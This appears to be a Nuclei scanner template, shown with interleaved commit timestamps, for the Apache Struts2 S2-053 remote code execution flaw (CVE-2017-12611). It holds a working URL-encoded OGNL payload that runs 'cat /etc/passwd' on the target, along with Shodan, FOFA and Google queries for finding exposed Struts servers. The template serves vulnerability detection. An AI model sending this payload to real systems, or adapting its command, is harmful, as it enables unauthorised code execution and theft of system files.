2021-02-21 14:01:50 +00:00
id : CVE-2017-12611
info :
2022-05-12 14:04:18 +00:00
name : Apache Struts2 S2-053 - Remote Code Execution
2021-02-21 14:01:50 +00:00
author : pikpikcu
severity : critical
2022-05-12 14:04:18 +00:00
description : Apache Struts 2.0.0 through 2.3.33 and 2.5 through 2.5.10.1 uses an unintentional expression in a Freemarker tag instead of string literals, which makes it susceptible to remote code execution attacks.
2023-09-27 15:51:13 +00:00
impact : |
Remote code execution
2023-09-06 13:22:34 +00:00
remediation : |
Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts2.
2022-04-22 10:38:41 +00:00
reference :
- https://struts.apache.org/docs/s2-053.html
2022-05-12 14:04:18 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2017-12611
2022-05-17 09:18:12 +00:00
- https://kb.netapp.com/support/s/article/ka51A000000CgttQAC/NTAP-20170911-0001
2023-07-11 19:49:27 +00:00
- http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2017-003.txt
- http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2017-12611
cwe-id : CWE-20
2023-07-11 19:49:27 +00:00
epss-score : 0.97358
2024-01-29 17:11:14 +00:00
epss-percentile : 0.99886
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:apache:struts:2.0.1:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : apache
product : struts
2024-06-07 10:04:29 +00:00
shodan-query :
- http.html:"apache struts"
- http.title:"struts2 showcase"
- http.html:"struts problem report"
fofa-query :
- body="struts problem report"
- title="struts2 showcase"
- body="apache struts"
2024-05-31 19:23:20 +00:00
google-query : intitle:"struts2 showcase"
2023-07-11 19:49:27 +00:00
tags : cve,cve2017,apache,rce,struts
2021-02-21 14:01:50 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-02-21 14:01:50 +00:00
- method : POST
path :
- "{{BaseURL}}/?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27cat%20/etc/passwd%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D"
matchers-condition : and
matchers :
- type : regex
regex :
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
2021-03-05 20:44:21 +00:00
2021-02-21 14:01:50 +00:00
- type : status
status :
- 200
2024-06-01 06:53:00 +00:00
# digest: 4a0a00473045022100c9aea2d3b863eb9e683ecc823a4f5e3e8136f7b965fb0c3655538bdf440bcf3d02207491b538b2e590ae2204dc89543ee472e37827f2ef6fe8be39b73d8d715eff34:922c64590222798bb761d5b6d8e72950